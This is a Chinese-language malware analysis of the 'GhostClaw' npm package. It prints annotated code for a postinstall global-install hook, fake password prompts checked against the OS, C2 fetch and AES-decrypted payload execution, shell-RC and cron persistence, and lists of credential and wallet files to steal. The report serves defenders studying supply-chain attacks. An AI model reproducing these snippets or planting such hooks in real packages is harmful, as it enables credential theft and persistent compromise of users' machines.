npm生態系的新威脅:
摘要
此份報告深入剖析惡意 npm 套件
@openclaw-ai/openclawai
(代號
GhostClaw
)。該套件偽裝成合法的 CLI 工具,同時執行一個複雜的多階段感染鏈。它結合了社交工程手法以竊取系統認證(Credentials)、全面的資料外洩(包含瀏覽器、加密貨幣錢包、雲端金鑰、Apple Keychain),以及一個具備 SOCKS5 代理和 Live browser cloning 功能的持久化遠端控制木馬。
流程圖
@openclaw-ai/openclawai] --> B[postinstall script runsnpm i -g @openclaw-ai/openclawai]
B --> C[Global binary openclawpoints to setup.js] C --> D["User executes openclaw
(or it auto-runs)"] D --> E[Fake installer UI
with progress bars] E --> F[Phishing for system password
mimics
macOS/Windows/Linux
auth] F --> G{"Concurrent download
from C2
trackpipe[.]dev/bootstrap"} G --> H[AES-256-GCM decryption
→
second-stage payload] H --> I[Payload written to
/tmp/sys-opt-*.js]
I --> J[Detached child processpassword via
NODE_AUTH_TOKEN]
J --> K[Self‑install to ~/.cache/.npm_telemetry
/monitor.js]
K --> L[Persistence:shell hooks, cron, lock file] L --> M[Full data theft
+ RAT commands]
1. 套件結構與初始欺騙
package.json
刻意保持精簡,呈現出正版的假象。惡意程式的進入點隱藏在
scripts/
目錄中,而
postinstall
hook 確保了在沒有使用者明確同意的情況下進行全域安裝(Global installation) [1]。以下是加上註解的摘錄。
- {
- "name": "@openclaw-ai/openclawai",
- "version": "1.5.15",
- "description": "🦞 OpenClaw Installer - Integration utilities", // decoy description
- "main": "src/index.js", // dummy utility
- "files": [
- "src",
- "scripts/setup.js", // first‑stage dropper
- "scripts/postinstall.js", // postinstall hook
- "scripts/build.js"
- ],
- "bin": {
- "openclaw": "./scripts/setup.js" // binary points to malicious script
- },
- "scripts": {
- "postinstall": "node scripts/postinstall.js" // <-- triggers global install
- }
- }
postinstall.js
雖然非常簡單,但卻相當有效:它會將套件重新安裝為全域套件,將
openclaw
執行檔放到系統的 PATH 環境變數中。
- // scripts/postinstall.js
- const { execSync } = require('child_process');
- // Re‑install package globally → binary 'openclaw' becomes available system‑wide
- execSync("npm i -g @openclaw-ai/openclawai", { stdio: 'inherit' });
2. 第一階段 Dropper:混淆與認證竊取
setup.js
經過高度混淆(字串重排、RC4、控制流扁平化)。當受害者看到一個帶有動態載入動畫的真實 CLI 安裝程式時,該腳本實際上同時執行了兩個關鍵動作:(a) 一個假的系統認證提示,以及 (b) 從 C2 伺服器擷取第二階段的 payload。密碼驗證的邏輯精確地模仿了作業系統的行為。
- // Inside setup.js – cross‑platform password verification (abridged)
- const { spawnSync } = require('child_process');
- let isValid = false;
- if (process.platform === 'darwin') {
- // macOS: dscl authentication
- const result = spawnSync("dscl", [".", "-authonly", username, password],
- { stdio: "pipe", timeout: 5000 });
- isValid = result.status === 0;
- } else if (process.platform === 'win32') {
- // Windows: PowerShell ValidateCredentials
- const psCmd = `Add-Type -AssemblyName System.DirectoryServices.AccountManagement;
- $ctx = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('machine');
- $ctx.ValidateCredentials('${username}', '${password}')`;
- const result = spawnSync("powershell", ["-NoProfile", "-NonInteractive", "-Command", psCmd]);
- isValid = result.stdout.toString().trim() === 'True';
- } else { // Linux
- // 'su' with password piped
- const proc = spawnSync("su", ["-c", "true", username], { input: password + "\n", stdio: "pipe" });
- isValid = proc.status === 0;
- }
- // On failure displays: "Authentication failed. Please try again."
當使用者被假的認證對話框分散注意力時,腳本同時使用 XOR 混淆的整數陣列來解碼 C2 端點。
- // Obfuscated strings decoded via XOR map
- // var_60 and var_61 are integer arrays in the original obfuscated code
- const c2Domain = var_60.map((val, i) => String.fromCharCode(val ^ var_61[i])).join("");
- // Decodes to: "https://trackpipe.dev"
- const bootstrapPath = var_65.map((val, i) => String.fromCharCode(val ^ var_66[i])).join("");
- // Decodes to: "/t/bootstrap?t=fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e"
- // Full request: hxxps://trackpipe[.]dev/t/bootstrap?t=...
3. 第二階段 Payload:AES‑256‑GCM 解密與執行
C2 伺服器回傳一個 JSON 物件,其中包含一個 base64 編碼的加密 payload (
p
) 和一個十六進位編碼的 AES‑256‑GCM 金鑰 (
k
)。解碼後的密文的前 16 個 bytes 是 IV,接下來的 16 個 bytes 是認證標籤。被竊取的密碼會透過
NODE_AUTH_TOKEN
傳遞給子程序。
- // Decryption routine (setup.js)
- const crypto = require('crypto');
- const response = JSON.parse(c2Response); // { p: "base64...", k: "hex..." }
- const encrypted = Buffer.from(response.p, "base64");
- const key = Buffer.from(response.k, "hex");
- const iv = encrypted.slice(0, 16); // AES‑GCM 96‑bit IV
- const authTag = encrypted.slice(16, 32); // 128‑bit auth tag
- const ciphertext = encrypted.slice(32);
- const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
- decipher.setAuthTag(authTag);
- let decrypted = decipher.update(ciphertext);
- decrypted = Buffer.concat([decrypted, decipher.final()]); // decrypted JS code
- // Write to a temporary file and spawn detached child
- const tmpPath = path.join(os.tmpdir(), "sys-opt-" + crypto.randomBytes(6).toString("hex") + ".js");
- fs.writeFileSync(tmpPath, decrypted);
- const child = spawn(process.execPath, [tmpPath], {
- stdio: "ignore",
- detached: true,
- env: {
- ...process.env,
- NODE_CHANNEL: "complexarchaeologist1", // campaign ID
- NODE_AUTH_TOKEN: stolenPassword, // captured system password
- NPM_CONFIG_TAG: packageName
- }
- });
- child.unref();
- // Temp file deleted after 60 seconds
4. 持久化與自我安裝
第二階段的 payload(約 11,700 行)會立即將自己複製到一個隱藏目錄 (
.npm_telemetry
),並透過 shell RC 檔案和 cron 建立持久化機制。下方是
installSelf()
函數。
- // Persistence snippet from monitor.js
- function installSelf() {
- const installDir = path.join(os.homedir(), ".cache", ".npm_telemetry"); // macOS/Linux
- // Windows: %APPDATA%\.npm_telemetry
- if (!fs.existsSync(installDir)) fs.mkdirSync(installDir, { recursive: true });
- const targetPath = path.join(installDir, "monitor.js");
- fs.copyFileSync(process.argv[1], targetPath); // copy itself
- // Add shell hooks (zsh, bash) – disguised as NPM Telemetry
- const lockFile = path.join(installDir, ".lock");
- const hookCode = `([ -f "${lockFile}" ] && kill -0 $(cat "${lockFile}") 2>/dev/null || nohup ${process.execPath} "${targetPath}" >/dev/null 2>&1 &) 2>/dev/null`;
- for (const rc of [".zshrc", ".bashrc", ".bash_profile"]) {
- const rcPath = path.join(os.homedir(), rc);
- if (fs.existsSync(rcPath)) {
- let content = fs.readFileSync(rcPath, "utf8");
- if (!content.includes("npm_telemetry")) {
- fs.appendFileSync(rcPath, "\n# NPM Telemetry Integration Service\n" + hookCode + "\n");
- }
- }
- }
- // Cron job (Linux) for @reboot
- const cronLine = '@reboot ( [ -f "' + lockFile + '" ] && kill -0 $(cat "' + lockFile + '") 2>/dev/null || ' + process.execPath + ' "' + targetPath + '" ) >/dev/null 2>&1';
- try {
- const currentCron = execSync("crontab -l 2>/dev/null || true").toString();
- if (!currentCron.includes(".npm_telemetry")) {
- execSync("echo '" + currentCron + "\n" + cronLine + "' | crontab -");
- }
- } catch (e) { /* ignore */ }
- }
5. 資料外洩與 RAT 功能
此惡意程式會系統性地收集瀏覽器憑證(Chrome、Firefox、Edge)、加密貨幣錢包(Exodus、MetaMask、Phantom)、SSH 金鑰、雲端認證(AWS、GCP、Azure),以及受 macOS 完整磁碟存取權限保護的資料(iMessage、備忘錄)。資料外洩使用了三種備援管道:直接上傳到 C2、Telegram Bot API,以及用於大型封存檔的 GoFile.io。剪貼簿監控器會持續外洩敏感資料模式(私鑰、API tokens)。以下是代表性的目標檔案路徑清單。
- // Targeted credential files (hardcoded in payload)
- const cloudTargets = [
- { path: "~/.aws/credentials", category: "AWS" },
- { path: "~/.azure/profiles.json", category: "Azure" },
- { path: "~/.gcloud/credentials.db", category: "GCP" },
- { path: "~/.kube/config", category: "K8s" },
- { path: "~/.docker/config.json", category: "Docker" },
- { path: "~/.npmrc", category: "npm" },
- { path: "~/.config/solana/id.json", category: "Solana" },
- { path: "~/.ssh/id_*", category: "SSH" } // wildcard handled in code
- ];
- // AI agent configs (ZeroClaw, PicoClaw, OpenClaw)
- const aiAgentDirs = [
- { name: "ZeroClaw", base: ".zeroclaw", files: ["config.toml"] },
- { name: "PicoClaw", base: ".picoclaw", files: ["config.json"] }
- ];
- // Clipboard monitoring regex patterns (constant)
- const clipboardPatterns = [
- { name: "ETH Address", regex: /\b0x[a-fA-F0-9]{40}\b/ },
- { name: "AWS Key", regex: /\b(AKIA|ABIA|ACCA)[0-9A-Z]{16}\b/ },
- { name: "OpenAI Key", regex: /\bsk-[a-zA-Z0-9]{48}\b/ },
- { name: "Seed phrase", regex: /\b(?:[a-z]{3,8}\s+){11,23}[a-z]{3,8}\b/ } // simplified
- ];
5.1 C2 指令與 RAT 操作
植入的 agent 會每隔約 25 秒 poll C2 (
trackpipe.dev
),並支援至少九種指令。
UPDATE
指令使用相同的 AES‑256‑GCM 機制來擷取和置換 payload。
CLONE_START
指令尤其危險:它會啟動一個帶有
--remote-debugging-port
的無頭模式的 Chromium,並將 CDP socket 轉發給攻擊者,從而提供一個即時的瀏覽器連線階段。
- // Command handler snippet (pseudo‑code from reversed payload)
- async function handleCommand(cmd) {
- switch(cmd.type) {
- case "EXEC":
- // run shell command, return stdout/stderr
- break;
- case "UPDATE": {
- // expects payload: { url, key }
- const { url, key } = JSON.parse(cmd.payload);
- await selfUpdate(url, key); // downloads encrypted blob, decrypts, overwrites monitor.js
- restartSelf();
- break;
- }
- case "CLONE_START":
- // copy browser profile, launch headless with remote debugging, tunnel to C2
- break;
- case "NUKE":
- // remove all persistence, delete install dir, self‑destruct
- break;
- // ... PROXY_START, GRAB, RECOLLECT, etc.
- }
- }
-
使用
stdio:'ignore'和unref()建立分離的子程序 → 在終端機結束後仍能存活。 - 暫存的 payload 在 60 秒後刪除 → 增加鑑識復原的難度。
-
偽裝的目錄 (
.npm_telemetry) 和 RC 註解 ("NPM Telemetry Integration Service")。 - PID lock 檔案防止多個執行個體同時運行。
- NUKE 指令可依需求清除所有痕跡。
6. 結論
GhostClaw 展現了一次高度專業的供應鏈攻擊:社交工程手法騙取密碼、多層加密(XOR + AES‑256‑GCM)、跨平台持久化,以及一個模組化的 RAT 框架。濫用
postinstall
和全域安裝是 npm 惡意軟體中反覆出現的模式。防禦者應監控那些在安裝期間要求系統認證或擷取外部 payload 的套件。完整的入侵指標列表可在原始報告 [1] 中找到。